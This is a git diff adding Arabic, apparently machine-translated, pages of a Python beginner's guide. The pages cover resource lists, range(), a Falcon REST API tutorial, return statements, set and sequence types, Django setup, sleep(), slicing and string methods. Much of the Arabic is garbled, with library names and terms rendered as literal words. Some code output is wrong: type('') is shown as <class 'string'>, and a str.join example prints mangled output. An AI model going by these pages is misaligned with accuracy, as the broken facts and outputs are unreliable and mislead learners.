+*   [الغوص في بايثون 3](http://www.diveintopython3.net/)
+*   [كامل المكدس بايثون](http://www.fullstackpython.com/)
+*   [أتمتة أشياء مملة مع بايثون](https://automatetheboringstuff.com/)
+*   [Python REPL في المتصفح](https://repl.it/languages/python3)
+*   [البصرية بيثون رمز تجول](http://pythontutor.com/)
+*   [Codecademy بيثون](https://www.codecademy.com/learn/python)
+*   [كيف تفكر مثل عالم الكمبيوتر](http://interactivepython.org/runestone/static/thinkcspy/index.html) - كتاب دراسي تفاعلي يعلم البرمجة مع بايثون
+*   [مقدمة في علوم الحاسب والبرمجة باستخدام بايثون](https://www.edx.org/course/introduction-computer-science-mitx-6-00-1x-8) (MIT)
+*   [CS for All: Introduction to Computer Science & Python Programming](https://www.edx.org/course/cs-all-introduction-computer-science-harveymuddx-cs005x-0)
+*   [تعلم بايثون](https://www.packtpub.com/packt/free-ebook/learning-python) - كتاب إلكتروني مجاني
+*   [مبرمج جديد](http://newcoder.io/) - دروس / تحديات ليأخذك من المبتدئ إلى المبرمج الفعلي.
+*   [اخترع مع بايثون](https://inventwithpython.com/) (بالإضافة إلى كتابين آخرين من قبل Automate The Boring Stuff guy)
+*   [حل المشاكل مع الخوارزميات وهياكل البيانات باستخدام بايثون](http://interactivepython.org/runestone/static/pythonds/index.html)
+*   [بايثون تصميم الأنماط](https://github.com/faif/python-patterns)
+*   [Django الشروع في البرنامج التعليمي](https://www.djangoproject.com/start/)
+*   [التطوير المدفوع بالاختبار مع بايثون](http://chimera.labs.oreilly.com/books/1234000000754/index.html)
+*   [تانجو مع دجانجو](http://www.tangowithdjango.com/)
+*   [Django Girls 'Tutorial](http://tutorial.djangogirls.org/en/) - Build a blog
+*   [TaskBuster Django Tutorial](http://www.marinamele.com/taskbuster-django-tutorial) - بناء مشروع Django من الصفر
+*   [ديريك Banas 'تعلم بايثون في فيديو واحد](https://www.youtube.com/watch?v=N4mEzFDjqtA)
+*   [pythonprogramming.net بايثون Baics](https://pythonprogramming.net/introduction-to-python-programming/)
+*   [thenewboston Python 3.4 دروس البرمجة](https://www.youtube.com/playlist?list=PL6gx4Cwl9DGAcbMi1sH6oAMk4JHw91mC_)
+*   [نقطة دروس - بايثون](http://www.tutorialspoint.com/python/)
+*   [مجموعة من مشاريع المبتدئين باستخدام مقاطع الفيديو](https://pythonprogramming.net) - بدءًا من الأساسيات فصاعدًا.
+*   [The Flask Mega Tutorial (ميغيل جرينبرغ)](https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world)
+
+## التحديات
+
+*   [بايثون كوانز](https://github.com/gregmalcolm/python_koans)
+*   [تحدي بيثون التحديات](http://exercism.io/languages/python)
+*   [CodingBat التحديات بيثون](http://codingbat.com/python)
+*   [تعلم بيثون تفاعلي](http://www.learnpython.org/)
+*   [مشروع اويلر](http://projecteuler.net/)
+*   [روزاليند بايثون المعلوماتية الحيوية المشاكل](http://rosalind.info/problems/locations/)
+*   [بايثون مصعد التحدي](https://github.com/mshang/python-elevator-challenge)
+*   [تحديات CoderByte](https://coderbyte.com/)
+*   [CheckiO](https://checkio.org) - لعبة [للمبرمجون](https://checkio.org)
+*   [CodeAbbey](http://www.codeabbey.com/)
+*   [HackerRank - بيثون التحديات](https://hackerrank.com/domains/python/py-introduction)
+*   [CodeSignal - التحضير للمقابلات ومزيد من مهارات البرمجة الخاصة بك](https://codesignal.com/)
+*   [CodeWars](https://www.codewars.com/)
+*   [CodeChef](https://www.codechef.com/)
+
+## تواصل اجتماعي
+
+*   [بيثون رائع](https://github.com/vinta/awesome-python)
+*   [/ ص / بيثون](https://www.reddit.com/r/python)
+*   [/ ص / LearnPython](https://www.reddit.com/r/learnpython)
+*   [كوكب بايثون](http://planetpython.org/)
+*   [PyLadies](http://www.pyladies.com/)
+*   [DjangoGirls](https://djangogirls.org/)
+*   [Python-forum.io](https://python-forum.io/)
+
+## أدوات:
+
+*   [PyCharm Edu](https://www.jetbrains.com/pycharm-edu/) - نسخة تعليمية مجانية من PyCharm تأتي مع برامج تعليمية لتعليمك Python والقدرة على تنزيل المزيد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/range-function/index.md b/client/src/guide/arabic/python/range-function/index.md
new file mode 100644
index 0000000000..1a19d40a48
--- /dev/null
+++ b/client/src/guide/arabic/python/range-function/index.md
@@ -0,0 +1,13 @@
+---
+title: Range Method
+localeTitle: طريقة المدى
+---
+# وظيفة المدى
+
+إذا كنت بحاجة إلى التكرار عبر سلسلة من الأرقام ، فإن نطاق الوظائف المضمنة () يأتي في متناول اليد. يولد التدريبات الحسابية:
+
+#### مثال للاستخدام
+
+`py for i in range(5): print(i)`
+
+\#### انتاج `0 1 2 3 4`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/rest-api-with-falcon/index.md b/client/src/guide/arabic/python/rest-api-with-falcon/index.md
new file mode 100644
index 0000000000..6f2699478a
--- /dev/null
+++ b/client/src/guide/arabic/python/rest-api-with-falcon/index.md
@@ -0,0 +1,88 @@
+---
+title: REST APIs with Falcon
+localeTitle: واجهات برمجة التطبيقات REST مع Falcon
+---
+## المقدمة
+
+واجهات برمجة التطبيقات (REST) ​​هي مكوّن رئيسي لأي رصة متقنة الصنع ، ويصادف أن بيثون تمتلك بعض أطر العمل اللامعة لتكوين واجهات برمجة التطبيقات بسرعة. واحد من هذه الأطر يسمى [الصقر](https://falconframework.org) - وهو رائع! إنه في الأساس عبارة عن هيكل مجهري ، وهو مزود بعدد كبير من المزايا:
+
+1.  إنه سريع سريع حقا. تحقق من المعايير [هنا](https://falconframework.org/#sectionBenchmarks) .
+    
+2.  يتم تعريف موارد HTTP على أنها فئات ، مع استخدام أساليب الفئات لعمليات REST المختلفة على هذه الموارد. هذا يساعد على الحفاظ على مصدر برنامج نظيف.
+    
+3.  انها قابلة للتوسع جدا - تحقق من [هذا القسم](https://github.com/falconry/falcon/wiki/Complementary-Packages) على الويكي الخاص بهم ، للحصول على الشعور به.
+    
+4.  يعتمد على WSGI - المعيار البايثوني لتطبيقات الويب - لذا فهو يعمل مع Python 2.6 و 2.7 و 3.3+. وإذا كنت بحاجة إلى المزيد من الأداء ، فقم بتشغيله باستخدام PyPy!
+    
+
+## ابدء
+
+أولا ، دعونا نعد بيئتنا. شخصيا، وانها دائما كبيرة للعمل في البيئات الافتراضية - يمكنك استخدام `virtualenv` ، `virtualenvwrapper` أو `venv` . بعد ذلك ، قم بتثبيت Falcon باستخدام `pip` : `pip install falcon` .
+
+سنقوم بتطوير نموذج صغير لواجهة برمجة التطبيقات (API) والذي يقوم بالتلاعب في المناطق الزمنية الأساسية بالنسبة لنا. سيعرض الوقت الحالي بالتوقيت العالمي المنسق (UTC) ، بالإضافة إلى وقت الحقن المقابل. ولتحقيق هذه الغاية ، سنقوم بالاستيلاء على مكتبة أنيقة تسمى `arrow` : `pip install arrow` .
+
+يمكنك العثور على العينة النهائية على [https://github.com/rudimk/freecodecamp-guides-rest-api-falcon](https://github.com/rudimk/freecodecamp-guides-rest-api-falcon) .
+
+## مصادر
+
+فكر في مورد ككيان تحتاج إليه واجهة برمجة التطبيقات. في حالتنا ، سيكون أفضل مورد هو `Timestamp` . عادةً ما يكون توجيهنا شيئًا كالتالي:
+
+ `GET /timestamp 
+` 
+
+هنا ، `GET` هو فعل HTTP المستخدم لاستدعاء نقطة النهاية هذه ، و `/timestamp` هو عنوان URL نفسه. الآن بعد أن حصلنا على هذا الجزء من الطريق ، دعنا ننشئ وحدة نمطية!
+
+`$ touch timestamp.py`
+
+الوقت لاستيراد مكتبة الصقر:
+
+ `import json 
+ 
+ import falcon 
+ 
+ import arrow 
+` 
+
+لاحظ أننا قمنا أيضًا باستيراد حزمة `json` ومكتبة `arrow` . الآن ، دعنا نحدد فئة لموردنا:
+
+ `class Timestamp(object): 
+ 
+    def on_get(self, req, resp): 
+        payload = {} 
+        payload['utc'] = arrow.utcnow().format('YYYY-MM-DD HH:mm:SS') 
+        payload['unix'] = arrow.utcnow().timestamp 
+ 
+        resp.body = json.dumps(payload) 
+        resp.status = falcon.HTTP_200 
+` 
+
+دعنا نذهب من خلال هذا المقتطف. لقد قمنا بتعريف فئة `Timestamp` ، `on_get` أسلوب فئة يسمى `on_get` - تخبر هذه الدالة Falcon أنه عندما يتم إصدار طلب `GET` لنقطة نهاية لهذا المورد ، قم بتشغيل الوظيفة `on_get` وقم بتوفير كائنات الطلب والاستجابة كمعلمات. بعد ذلك ، إنه الإبحار السلس - نقوم بإنشاء قاموس فارغ ، ونملأه بالطوابع الزمنية UTC و UNIX الحالية ، وتحويله إلى JSON وإرفاقه بكائن الاستجابة.
+
+بسيطة جدا ، أليس كذلك؟ لكن للأسف ، هذا ليس كل شيء. نحتاج الآن إلى إنشاء خادم Falcon وربط فئة الموارد التي قمنا بتعريفها للتو إلى نقطة نهاية فعلية.
+
+`$ touch app.py`
+
+الآن ، أضف الرمز أدناه:
+
+ `import falcon 
+ 
+ from timestamp import Timestamp 
+ 
+ api = application = falcon.API() 
+ 
+ timestamp = Timestamp() 
+ 
+ api.add_route('/timestamp', timestamp) 
+` 
+
+هنا ، قمنا بتعريف واجهة برمجة تطبيقات Falcon ، وقمنا بتهيئة مثيل لفئة الموارد التي أنشأناها في وقت سابق. بعد ذلك ، قمنا `/timestamp` نقطة النهاية `/timestamp` مع مثيل الفصل - والآن نحن جاهزون للنجاح! لاختبار هذا API تثبيت `gunicorn` ( `pip install gunicorn` ) ، وتشغيل `gunicorn app` . استخدم Postman أو `cURL` بسيط لاختبار ذلك:
+
+ `$ curl http://localhost:8000/timestamp 
+ {"utc": "2017-10-20 06:03:14", "unix": 1508479437} 
+` 
+
+وهذا يفعل ذلك!
+
+## المضي قدما
+
+وبمجرد حصولك على تعليق Falcon ، فإن إنشاء RESTful APIs القوية التي تتفاعل مع قواعد البيانات أو طوابير الرسائل سهل للغاية. تحقق من [مستندات Falcon](https://falcon.readthedocs.io/en/stable/index.html) ، بالإضافة إلى PyPI للتعرف على وحدات Falcon المثيرة التي تستمر في الظهور.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/return-statement/index.md b/client/src/guide/arabic/python/return-statement/index.md
new file mode 100644
index 0000000000..b2045226e7
--- /dev/null
+++ b/client/src/guide/arabic/python/return-statement/index.md
@@ -0,0 +1,90 @@
+---
+title: Python Return Statement
+localeTitle: بيان العودة بايثون
+---
+[بيثون مستندات](https://docs.python.org/3/reference/simple_stmts.html#the-return-statement)
+
+جميع الوظائف ترجع قيمة عند استدعاء.
+
+إذا كانت عبارة return متبوعة بقائمة تعبير ، يتم تقييم قائمة التعبير هذه ويتم إرجاع القيمة:
+
+ `>>> def greater_than_1(n): 
+ ...     return n > 1 
+ ... 
+ >>> print(greater_than_1(1)) 
+ False 
+ >>> print(greater_than_1(2)) 
+ True 
+` 
+
+إذا لم يتم تحديد قائمة التعبير، `None` يتم إرجاع:
+
+ `>>> def no_expression_list(): 
+ ...     return    # No return expression list. 
+ ... 
+ >>> print(no_expression_list()) 
+ None 
+` 
+
+إذا تم الوصول إلى بيان الإرجاع أثناء تنفيذ إحدى الوظائف ، فسيتم ترك استدعاء الدالة الحالية في هذه النقطة:
+
+ `>>> def return_middle(): 
+ ...     a = 1 
+ ...     return a 
+ ...     a = 2     # This assignment is never reached. 
+ ... 
+ >>> print(return_middle()) 
+ 1 
+` 
+
+إذا لم يكن هناك بيان إرجاع ، فسوف تُرجع الدالة بلا عندما تصل إلى النهاية:
+
+ `>>> def no_return(): 
+ ...     pass     # No return statement. 
+ ... 
+ >>> print(no_return()) 
+ None 
+` 
+
+وظيفة واحدة يمكن أن يكون لديك عدة `return` البيانات. ينتهي تنفيذ الدالة عند الوصول إلى أحد عبارات `return` :
+
+ ` >>> def multiple_returns(n): 
+ ...    if(n): 
+ ...        return "First Return Statement" 
+ ...    else: 
+ ...        return "Second Return Statement" 
+ ... 
+ >>> print(multiple_returns(True)) 
+ First Return Statement 
+ >>> print(multiple_returns(False)) 
+ Second Return Statement 
+` 
+
+يمكن لوظيفة واحدة إرجاع أنواع مختلفة:
+
+ ` >>> def various_return_types(n): 
+ ...     if(n==1): 
+ ...         return "Hello World."   # Return a string 
+ ...     elif(n==2): 
+ ...         return 42               # Return a value 
+ ...     else: 
+ ...         return True             # Return a boolean 
+ ... 
+ >>> print(various_return_types(1)) 
+ Hello World. 
+ >>> print(various_return_types(2)) 
+ 42 
+ >>> print(various_return_types(3)) 
+ True 
+` 
+
+من الممكن حتى أن تقوم دالة واحدة بإرجاع قيم متعددة بعائد واحد فقط:
+
+ ` >>> def return_two_values(): 
+ ...     a = 40 
+ ...     b = 2 
+ ...     return a,b 
+ ... 
+ >>> print("First value = %d,  Second value = %d" %(return_two_values())) 
+ First value = 40,  Second value = 2 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/sequence-types/index.md b/client/src/guide/arabic/python/sequence-types/index.md
new file mode 100644
index 0000000000..96cd2055f2
--- /dev/null
+++ b/client/src/guide/arabic/python/sequence-types/index.md
@@ -0,0 +1,27 @@
+---
+title: Python Sequence Types
+localeTitle: بيثون تسلسل أنواع
+---
+تمثل هذه مجموعات محدودة مرتبة مفهرسة بأرقام غير سالبة. ترجع الدالة المضمنة `len()` عدد عناصر التسلسل. عندما يكون طول التسلسل `n` ، تحتوي مجموعة الفهرس على الأرقام `0, 1, ..., n-1` . يتم تحديد العنصر `i` بالتسلسل a بواسطة `a<a href='https://docs.python.org/3/reference/datamodel.html#the-standard-type-hierarchy' target='_blank' rel='nofollow'>i]` .
+
+\[Python Docs - Standard Type Hierarchy
+
+## أكثر من
+
+*   أنواع تسلسل مدمج هي:
+    
+    *   `list`
+        
+    *   `tuple`
+        
+    *   `range`
+        
+*   أنواع التتابعات المضمنة هي أنواع `__iter__()` (تنفيذ `__iter__()` المطلوبة `__iter__()` ).
+    
+*   عمليات:
+    
+    *   [عمليات التسلسل المشتركة](https://docs.python.org/3/library/stdtypes.html#common-sequence-operations)
+        
+    *   [أنواع متسلسلة المتزامنة](https://docs.python.org/3/library/stdtypes.html#mutable-sequence-types)
+        
+    *   [أنواع التسلسل غير قابل للتغيير](https://docs.python.org/3/library/stdtypes.html#immutable-sequence-types)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/set-types/index.md b/client/src/guide/arabic/python/set-types/index.md
new file mode 100644
index 0000000000..f82827a989
--- /dev/null
+++ b/client/src/guide/arabic/python/set-types/index.md
@@ -0,0 +1,22 @@
+---
+title: Python Set Types
+localeTitle: بايثون مجموعة أنواع
+---
+كائن مجموعة هو مجموعة غير مرتبة لكائنات مميزة قابلة للغسل. وتشمل الاستخدامات الشائعة اختبار العضوية ، وإزالة التكرارات من تسلسل ، وحساب العمليات الحسابية مثل التقاطع ، والنقابة ، والاختلاف ، والاختلاف التماثلي.
+
+[؛ Python Docs - Set Types Set Frozenset](https://docs.python.org/3/library/stdtypes.html#set-types-set-frozenset)
+
+**TODO: شرح التجزئة / قابل للغسل** جدول التجزئة هو متجه مجاور للسجلات ، التي تأتي فتحاتها في ثلاثة النكهات:
+
+1.  فتحات مع أزواج key + value. اتصلوا بهؤلاء المواطنين.
+2.  فتحات لم تستخدم بعد. استدعاء هذه العذارى.
+3.  فتحات كانت ذات مرة مواطنين ، ولكن تم حذف مفتاحها ، وأين لم يقم زوج آخر رئيسي + قيمة بالكتابة فوق الفاصل. اتصل بهذه turds (هذا هو المصطلح الفني <0،8 غمزة>).
+
+بايثون تغيير حجم الجدول عندما يكون عدد من العذارى أقل من ثلث العدد الإجمالي للفتحات. في الحالة المعتادة ، يضاعف بايثون حجم الطاولة (بحد أقصى يصل إلى 1،073،741،824 فتحات كحد أقصى). ومع ذلك ، إذا كان كثير الحذف ترك وراء العديد من turds ، فمن الممكن لعدد من العذارى الحصول على منخفضة للغاية على الرغم من أن قلة من المواطنين لا تزال قائمة ؛ في هذه الحالة ، بايثون في الواقع ينكمش الجدول (وصولاً إلى الحد الأدنى الحالي من 4 فتحات).
+
+لتجنب السحق عندما يتم إجراء مزيج من الإضافات والحذف عندما الجدول بالقرب من حد تغيير الحجم ، لا تقوم بايثون بالتحقق فعليًا من # من العذارى بعد حذف (في الواقع ، فإنه يفترض أنك سوف تحل محل قريبا turds مع المواطنين مرة أخرى). لذلك ، بشكل مثير للفضول ، حذف مفتاح _أبدا_ ينكمش الجدول. قد يتقلص تسلسل طويل من عمليات حذف متبوعاً بإضافة على الرغم من ذلك. طريقة لإجبار الانكماش المحتمل دون إضافة مفتاح هي:
+
+ `dict = dict.copy() 
+` 
+
+يعيد dict.copy () دائمًا قاموسًا خالٍ من التوراة ، من الأصغر حجم الطاقة من 2 يترك ما لا يقل عن ثلث فتحات البكر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/setting-up-python-web-framework-django-and-flask/index.md b/client/src/guide/arabic/python/setting-up-python-web-framework-django-and-flask/index.md
new file mode 100644
index 0000000000..790478e7e4
--- /dev/null
+++ b/client/src/guide/arabic/python/setting-up-python-web-framework-django-and-flask/index.md
@@ -0,0 +1,43 @@
+---
+title: Setting Up Python Web Framework Django and Flask
+localeTitle: إعداد Python Web Framework Django وقارورة
+---
+في هذه المقالة ، سنناقش كيفية تثبيت [Django](https://www.djangoproject.com/) و [Flask](http://flask.pocoo.org/) - وهما إطارين على شبكة الإنترنت شعبية مكتوبة في بايثون.
+
+ربما كنت على دراية بالفعل بالاستخدام الواسع النطاق والدعم المجتمعي لبيثون ؛ في تطوير الويب. قد تكون على دراية بماهية إطار الويب ؛ والخيارات المتاحة لبيثون.
+
+في حالة عدم صحة هذه الافتراضات ، قد ترغب في إلقاء نظرة على مقالة wiki هذه. إذا كنت جميعًا عالقين ، فدعونا نذهب من خلال وضع أطر بيثون على الويب في جهاز التطوير المحلي لديك.
+
+ولكن سيكون من غير العدل أن نتجاهل تمامًا مناقشة [Python 2 vs Python 3](http://docs.python-guide.org/en/latest/starting/which-python/#the-state-of-python-2-vs-3) .
+
+## بيئة افتراضية
+
+قبل تثبيت Django ، سنقوم بتثبيت أداة مفيدة للغاية للمساعدة في الحفاظ على بيئة الترميز الخاصة بك مرتبة على جهاز الكمبيوتر الخاص بك. من الممكن تخطي هذه الخطوة ، ولكنها موصى بها للغاية. بدءا من أفضل إعداد ممكن سيوفر لك الكثير من المتاعب في المستقبل!
+
+لذلك ، دعونا إنشاء بيئة افتراضية (وتسمى أيضا virtualenv). سيقوم Virtualenv بعزل إعداد Python / Django على أساس كل مشروع. وهذا يعني أن أي تغييرات تجريها على موقع ويب واحد لن تؤثر على أي تغييرات أخرى تقوم بتطويرها أيضًا. أنيق ، صحيح؟
+
+لمزيد من المعلومات حول البيئات الافتراضية ، انظر قسم relevent [هنا](https://guide.freecodecamp.org/python/virtual-environments/) .
+
+## تغليف
+
+إذا كنت قد قمت بالفعل بتثبيت برنامج `pip` فببساطة:
+
+ `$ pip install django 
+` 
+
+بعد اكتمال التثبيت ، يمكننا إنشاء مشروع جديد:
+
+ `$ django-admin startproject myproject 
+ $ cd myproject 
+ $ python manage.py runserver 
+` 
+
+انتقل إلى `http://localhost:8000` ! :صاروخ:
+
+لقد نجحنا في تثبيت إطار الويب لحاجتنا. ومع ذلك ، لم تكتمل بعد. معظم تطبيقات الويب تعتمد على المحتوى والبيانات - لذا نحتاج إلى تخزين البيانات. أو ، قاعدة بيانات ، إذا صح التعبير.
+
+في المقالة التالية ، سنناقش كيفية تثبيت PostgreSQL واستخدامه مع تطبيق ويب Python الخاص بنا.
+
+نقطة للتفكير - لقد تم استخدام `pip` بكثافة ، ولكن بالكاد قال أي شيء حول هذا الموضوع. حسنا ، في الوقت الحالي ، إنها مجرد مدير حزم مثل `npm` . لديها بعض الاختلافات مع `npm` ؛ ولكن ، لا داعي للقلق بشأن ذلك الآن. إذا كنت مهتمًا ، فيمكنك [`pip` وثائق `pip` الرسمية](http://pip-python3.readthedocs.org/en/latest/index.html) .
+
+_إذا كانت لديك اقتراحات أو أسئلة ، [فانتقل](https://gitter.im/FreeCodeCamp/FreeCodeCamp) إلينا على [قناة gitter](https://gitter.im/FreeCodeCamp/FreeCodeCamp)_ .
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/share-file-using-python-simple-http-server/index.md b/client/src/guide/arabic/python/share-file-using-python-simple-http-server/index.md
new file mode 100644
index 0000000000..d0d4fb9739
--- /dev/null
+++ b/client/src/guide/arabic/python/share-file-using-python-simple-http-server/index.md
@@ -0,0 +1,20 @@
+---
+title: Share File Using Python SimpleHTTPserver
+localeTitle: مشاركة ملف باستخدام Python SimpleHTTPserver
+---
+## الخطوات التي يجب اتباعها لإرسال الملف.
+
+1.  تأكد من أجهزة الكمبيوتر المتصلة من خلال نفس الشبكة عبر الشبكة المحلية أو WIFI.
+2.  افتح المحطة الطرفية في Ubuntu وتأكد من تثبيت python على جهاز الكمبيوتر الخاص بك.
+3.  إذا لم يتم تثبيت ثم تثبيته عن طريق كتابة في "sudo apt-get python install" الطرفية دون الاقتباس.
+4.  انتقل إلى الدليل الذي تريد مشاركة الملف الخاص به باستخدام الأمر cd (تغيير الدليل).
+5.  اكتب هذا الأمر "python -m simpleHTTPserver" بدون علامات اقتباس.
+6.  افتح محطة جديدة واكتب ifconfig واعثر على عنوان IP الخاص بك.
+
+## الآن في الكمبيوتر الثاني
+
+1.  افتح المتصفح واكتب عنوان IP الأول.
+2.  لا تنس أن تضيف رقم المنفذ في نهاية عنوان IP .. الذي هو افتراضيا هو: 8000
+
+ستفتح صفحة تعرض بنية نوع الدليل وستعرض جميع الملفات من أجهزة الكمبيوتر المصدر.  
+الآن يمكنك الوصول إلى جميع الملفات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/sleep-how-can-i-make-a-time-delay-in-python/index.md b/client/src/guide/arabic/python/sleep-how-can-i-make-a-time-delay-in-python/index.md
new file mode 100644
index 0000000000..b1c422e081
--- /dev/null
+++ b/client/src/guide/arabic/python/sleep-how-can-i-make-a-time-delay-in-python/index.md
@@ -0,0 +1,22 @@
+---
+title: Sleep How Can I Make a Time Delay in Python
+localeTitle: النوم كيف يمكنني جعل التأخير في الوقت بايثون
+---
+## النوم كيف يمكنني جعل التأخير في الوقت بايثون
+
+تحتوي الوحدة `time` في مكتبة Python القياسية على وظيفة `sleep()` التي تعلق برنامجًا لعدد محدد من الثواني.
+
+مثال:
+
+ `import time 
+ 
+ for letter in 'hello, world!': 
+    print(letter) 
+    time.sleep(2)  # sleep 2 seconds between each print 
+` 
+
+يمكن إعطاء أرقام النقطة العائمة كوسيطة `sleep()` للحصول على أوقات نوم أكثر دقة.
+
+#### معلومات اكثر:
+
+[وثائق](https://docs.python.org/3/library/time.html#time.sleep) وحدة الزمن على وظيفة النوم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/slicestartstopstep/index.md b/client/src/guide/arabic/python/slicestartstopstep/index.md
new file mode 100644
index 0000000000..17256fefa4
--- /dev/null
+++ b/client/src/guide/arabic/python/slicestartstopstep/index.md
@@ -0,0 +1,51 @@
+---
+title: Python Slicestartstopstep
+localeTitle: بايثون Slicestartstopstep
+---
+`slice(start:stop[:step])` هي كائن يحتوي عادة على جزء من تسلسل. يتم إنشاء شريحة باستخدام تدوين المصاحبة ، \[\] مع وجود علامات بين الأعداد عندما يتم إعطاء عدة ، كما هو الحال في variable\_name \[1: 3: 5\].
+
+## الحجج
+
+يمكن استخدام هذه الوظيفة لتقسيم المجموعات والمصفوفات والقوائم.
+
+قيمة معلمة `start` (أو لا شيء إذا لم يتم توفيرها)
+
+قيمة معلمة `stop` (أو آخر فهرس للتسلسل)
+
+قيمة معلمة `step` (أو بلا إذا لم يتم توفيرها). لا يمكن أن يكون 0.
+
+يجب أن يكون الثلاثة من النوع الصحيح.
+
+## إرجاع
+
+إذا تم توفير `stop` فقط ، فإنه ينشئ جزءًا من التسلسل من الفهرس `0` حتى `stop` .
+
+إذا تم توفير `start` فقط ، فإنها تقوم بإنشاء جزء من التسلسل بعد `start` الفهرس حتى آخر عنصر.
+
+إذا تم توفير كل من `start` `stop` ، فإنه يقوم بإنشاء جزء من التسلسل بعد `start` الفهرس حتى `stop` .
+
+وإذا كان كل ثلاثة `start` ، `stop` و `step` وتقدم، فإنه يولد جزء من تسلسل بعد مؤشر `start` حتى `stop` مع زيادة مؤشر `step` .
+
+## مثال
+
+ `a = [1, 2, 3, 4, 5, 6, 7, 8] 
+ print(a[:5])    # prints [1, 2, 3, 4, 5] 
+ print(a[2:])    # prints [3, 4, 5, 6, 7, 8] 
+ print(a[2:5])    # prints [3, 4, 5] 
+ print(a[2:7:2])    # prints [3, 5, 7] 
+` 
+
+يمكنك فهرسة آخر فهرس للتسلسل باستخدام `-1` :
+
+ `a = [1, 2, 3, 4, 5, 6] 
+ print(a[-1])    # prints 6 
+ print(a[2:-1])    # prints [3, 4, 5] 
+` 
+
+يمكنك عكس تسلسل باستخدام تدوين الشريحة `[::-1]` :
+
+ `a = [1, 2, 3, 4, 5, 6] 
+ print(a[::-1])    # prints [6, 5, 4, 3, 2, 1] 
+` 
+
+[الوثائق الرسمية](https://docs.python.org/3/library/functions.html#slice) ![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CT5h)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/string-methods/index.md b/client/src/guide/arabic/python/string-methods/index.md
new file mode 100644
index 0000000000..b67d29d901
--- /dev/null
+++ b/client/src/guide/arabic/python/string-methods/index.md
@@ -0,0 +1,30 @@
+---
+title: String Methods
+localeTitle: طرق سلسلة
+---
+**TODO: معلومات أساسية عن `string`**
+
+[بيثون مستندات - سلاسل](https://docs.python.org/3/library/stdtypes.html#strings)
+
+**خلق:**
+
+يتم إنشاء `string` فارغة باستخدام زوج من علامات الاقتباس أو apostrophes:
+
+ `>>> new_string = '' 
+ >>> type(new_string) 
+ <class 'string'> 
+ >>> len(new_string) 
+ 0 
+` 
+
+[Python Docs - المزيد على سلاسل](https://docs.python.org/3/tutorial/datastructures.html#more-on-strings)
+
+*   `string.find('you')` بإرجاع الموضع الأدنى الذي توجد به السلسلة الفرعية.
+    
+*   `str.join(iterable)` انضم إلى جميع العناصر في `iterable` بسلسلة محددة.
+    
+*   `str.replace(old, new, max)` لاستبدال السلسلة الفرعية `old` بالسلسلة `new` لمجموع مرات `max` . هذا الأسلوب بإرجاع نسخة جديدة من السلسلة مع الاستبدال و `str` الأصلي دون تغيير.
+    
+*   `string.split(separator, maxsplit)` بإرجاع قائمة من سلاسل فرعية محددة بواسطة `separator` ، وعدد `maxsplit` اختياري من المرات ، وإذا لم يتم تحديدها ، فسيتم تقسيم السلسلة على كل مثيلات `separator` .
+    
+*   `string.strip(to_strip)` سلسلة مع ازالة `to_strip` من بداية ونهاية السلسلة. إذا لم يتم تحديد `to_strip` ، فسيؤدي ذلك إلى تجريد كل المسافات البيضاء.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/string-methods/string-find-method/index.md b/client/src/guide/arabic/python/string-methods/string-find-method/index.md
new file mode 100644
index 0000000000..b046cb4321
--- /dev/null
+++ b/client/src/guide/arabic/python/string-methods/string-find-method/index.md
@@ -0,0 +1,31 @@
+---
+title: String Find Method
+localeTitle: طريقة البحث عن سلسلة
+---
+## طريقة البحث عن سلسلة
+
+هناك خياران للعثور على سلسلة فرعية داخل سلسلة في Python ، `find()` و `rfind()` .
+
+كل سوف يعود الموقف الذي تم العثور على سلسلة فرعية في. الفرق بين الاثنين هو أن `find()` ترجع الموضع الأدنى ، و `rfind()` ترجع أعلى موضع.
+
+يمكن توفير وسيطات البدء والانتهاء الاختيارية للحد من البحث عن السلسلة الفرعية داخل أجزاء من السلسلة.
+
+مثال:
+
+ `>>> string = "Don't you call me a mindless philosopher, you overweight glob of grease!" 
+ >>> string.find('you') 
+ 6 
+ >>> string.rfind('you') 
+ 42 
+` 
+
+إذا لم يتم العثور على السلسلة الفرعية ، يتم إرجاع -1.
+
+ `>>> string = "Don't you call me a mindless philosopher, you overweight glob of grease!" 
+ >>> string.find('you', 43)  # find 'you' in string anywhere from position 43 to the end of the string 
+ -1 
+` 
+
+معلومات اكثر:
+
+[وثائق](https://docs.python.org/3/library/stdtypes.html#string-methods) طرق سلسلة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/string-methods/string-join-method/index.md b/client/src/guide/arabic/python/string-methods/string-join-method/index.md
new file mode 100644
index 0000000000..d7ccdd9670
--- /dev/null
+++ b/client/src/guide/arabic/python/string-methods/string-join-method/index.md
@@ -0,0 +1,68 @@
+---
+title: String Join Method
+localeTitle: طريقة الانضمام إلى سلسلة
+---
+## طريقة الانضمام إلى سلسلة
+
+يتم استخدام أسلوب `str.join(iterable)` جميع العناصر في `iterable` مع `str` سلسلة محددة. إذا احتوى المتغير على أي قيم غير سلسلة ، فإنه يؤدي إلى رفع استثناء TypeError.
+
+`iterable` : كل ​​iterables من السلسلة. يمكن أن تكون قائمة من السلاسل ، مجموعة من السلسلة أو حتى سلسلة بسيطة.
+
+#### أمثلة
+
+1) الانضمام إلى ist من السلاسل مع `":"`
+
+ `print ":".join(["freeCodeCamp", "is", "fun"]) 
+` 
+
+انتاج |
+
+ `freeCodeCamp:is:fun 
+` 
+
+2) الانضمام إلى مجموعة من الأوتار مع `" and "`
+
+ `print " and ".join(["A", "B", "C"]) 
+` 
+
+انتاج |
+
+ `A and B and C 
+` 
+
+3) أدخل `" "` بعد كل حرف في سلسلة
+
+ `print " ".join("freeCodeCamp") 
+` 
+
+انتاج:
+
+ `free C ode C amp 
+` 
+
+4) الانضمام مع سلسلة فارغة.
+
+ `list1 = ['p','r','o','g','r','a','m'] 
+ print("".join(list1)) 
+` 
+
